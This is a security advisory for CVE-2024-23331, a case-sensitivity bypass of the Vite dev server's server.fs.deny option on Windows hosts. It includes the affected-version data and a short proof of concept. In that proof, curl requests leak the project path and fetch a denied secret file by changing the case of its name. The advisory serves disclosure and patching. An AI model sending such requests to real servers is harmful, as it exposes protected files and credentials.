ghsa-c24v-8rfc-w8vw
Vulnerability from github
Summary
Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details
Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC
Setup
1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
- npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. custom.secret and production.pem
3. Populated vite.config.js with
javascript
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction
1. curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename
Proof
Impact
Who - Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by server.fs.deny are both discoverable, and accessible
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.9.16"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.9.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.7"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.2.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.1"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.11"
},
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.0.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23331"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-200",
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-19T21:58:47Z",
"nvd_published_at": "2024-01-19T20:15:14Z",
"severity": "HIGH"
},
"details": "### Summary\n[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.\n\nThis bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.\n\n### Patches\nFixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17\n\n### Details\nSince `picomatch` defaults to case-sensitive glob matching, but the file server doesn\u0027t discriminate; a blacklist bypass is possible. \n\nSee `picomatch` usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632\n\nBy requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. \n\n### PoC\n**Setup**\n1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance. \n - `npm run dev -- --host 0.0.0.0`\n - Publicly accessible for the time being here: http://20.12.242.81:5173/ \n2. Created dummy secret files, e.g. `custom.secret` and `production.pem`\n3. Populated `vite.config.js` with\n```javascript\nexport default { server: { fs: { deny: [\u0027.env\u0027, \u0027.env.*\u0027, \u0027*.{crt,pem}\u0027, \u0027custom.secret\u0027] } } }\n```\n\n**Reproduction**\n1. `curl -s http://20.12.242.81:5173/@fs//`\n - Descriptive error page reveals absolute filesystem path to project root\n2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`\n - Discoverable configuration file reveals locations of secrets\n3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`\n - Secrets are directly accessible using case-augmented version of filename\n\n**Proof**\n\n\n### Impact\n**Who**\n- Users with exposed dev servers on environments with case-insensitive filesystems\n\n**What**\n- Files protected by `server.fs.deny` are both discoverable, and accessible",
"id": "GHSA-c24v-8rfc-w8vw",
"modified": "2024-01-19T21:58:47Z",
"published": "2024-01-19T21:58:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/security/advisories/GHSA-c24v-8rfc-w8vw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34092"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23331"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/0cd769c279724cf27934b1270fbdd45d68217691"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/a26c87d20f9af306b5ce3ff1648be7fa5146c278"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/eeec23bbc9d476c54a3a6d36e78455867185a7cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitejs/vite"
},
{
"type": "WEB",
"url": "https://vitejs.dev/config/server-options.html#server-fs-deny"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.